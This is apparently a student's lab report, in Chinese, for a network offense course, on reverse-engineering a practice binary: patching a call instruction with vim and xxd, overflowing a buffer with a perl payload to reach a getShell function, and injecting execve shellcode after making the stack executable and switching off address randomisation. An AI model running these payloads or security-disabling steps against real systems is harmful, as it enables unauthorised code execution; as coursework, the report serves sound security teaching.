20155205 郝博雅 《網絡對抗技術》Exp1 PC平臺逆向破解

20155205 郝博雅 《網絡對抗技術》Exp1 PC平臺逆向破解

1、實驗準備

一、 掌握NOP、JNE、JE、JMP、CMP彙編指令的機器碼

  • NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)shell

  • JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)編程

  • JE:條件轉移指令,若是相等則跳轉。(機器碼:74)vim

  • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB) 段內直接近轉移Jmp near(機器碼:E9) 段內間接轉移 Jmp word(機器碼:FF) 段間直接(遠)轉移Jmp far(機器碼:EA)網絡

  • CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。dom

二、掌握反彙編與十六進制編程器

  • 經過
objdump -d xxx

可進行反彙編。函數

  • 在vim中,經過
:%!xxd

轉換成16進制。spa

2、實驗內容

一、正確修改機器指令改變程序執行流程

  • "call 8048491 "彙編指令將調用位於地址8048491處的foo函數,如果咱們想讓main調用getshell,就須要把相應機器指令修改。

  • 對於我這種彙編學的很差的人來講,我不會直接修改機器指令,老師告訴了咱們不會也能夠猜想的方法:咱們先用foo的地址減去getshell,獲得差值。咱們知道,對於機器指令「e8 d7ffffff」,e8即跳轉之意,因此能夠修改的即是「d7ffffff」,顯然咱們要修改d7,因此給d7減去差值0X14獲得c3。操作系統

  • 根據如下步驟在vi中進行修改3d

1.按ESC鍵
2.輸入以下,將顯示模式切換爲16進制模式
:%!xxd
3.查找要修改的內容
/e8 d7
4.找到後先後的內容和反彙編的對比下,確認是地方是正確的
5.修改d7爲c3
6.轉換16進製爲原格式
:%!xxd -r
7.存盤退出vi
:wq
  • 下圖爲vim編輯後的結果:

二、經過構造輸入參數,形成BOF攻擊,改變程序執行流程

  • 首先輸入
gdb 20155205gwm

進行調試,run程序以後輸入「1111111122222222333333334444444455555555」進行試驗,出現了調試

Program received signal SIGSEGV, Segmentation fault.

的錯誤。咱們接着輸入

info r

來查看各個寄存器的值。能夠看到eip的值爲5。

  • 咱們再試一次,此次輸入「1111111122222222333333334444444420155205」,發現eip的值變成了2015。

  • 2015四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getShell 的內存地址,輸給20155205pwn,20155205pwn就會運行getShell。

  • 咱們構造了輸入字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a",輸入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

生成包括這樣字符串的一個文件。

  • 使用16進制查看指令xxd查看input文件的內容是否如預期:

  • 而後將input的輸入,經過管道符「|」,做爲pwn1的輸入:

三、注入Shellcode並執行

  • 首先經過
install

命令安裝命令安裝execstack。

  • 修改相關配置
root@KaliYL:~# execstack -s pwn1    //設置堆棧可執行
root@KaliYL:~# execstack -q pwn1    //查詢文件的堆棧是否可執行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space    //查看地址隨機化
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0
  • 使用retaddr+nops+shellcode結構來攻擊buf
perl -e 'print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下來咱們來肯定\x4\x3\x2\x1到底該填什麼:

一、輸入

(cat input_shellcode;cat) | ./pwn2

攻擊buf,
找到pwn1的進程號是:3067。

二、啓動gdb調試這個進程。經過設置斷點,來查看注入buf的內存地址。

最後成功攻擊!

3、遇到的問題及解決方案

  • 問題一:在安裝lib32ncourses時出現瞭如下問題。

  • 問題一解決方案:網絡配置發生了錯誤,需修改DNS和IP配置。

  • 問題二:爲何第二個實驗中eip顯示爲0x35353535時說她的值爲都是5?

  • 問題二解決方案:怪我本身把學的都忘了,這是由於機器存儲的是ascii碼值!包括後來爲何輸入「\x7d\x84\x04\x08\x0a」也是同樣的道理!

4、實驗總結

  • 由此實驗我對「漏洞」和「攻擊」有了更深刻的理解。本次試驗是利用緩衝區漏洞進行攻擊,可使得程序按照攻擊者想要的方向運行。正如百科中對緩衝區溢出的定義:

緩衝區溢出是一種很是廣泛、很是危險的漏洞,在各類操做系統、應用軟件中普遍存在。利用緩衝區溢出攻擊,能夠致使程序運行失敗、系統宕機、從新啓動等後果。更爲嚴重的是,能夠利用它執行非受權指令,甚至能夠取得系統特權,進而進行各類非法操做。

相關文章
相關標籤/搜索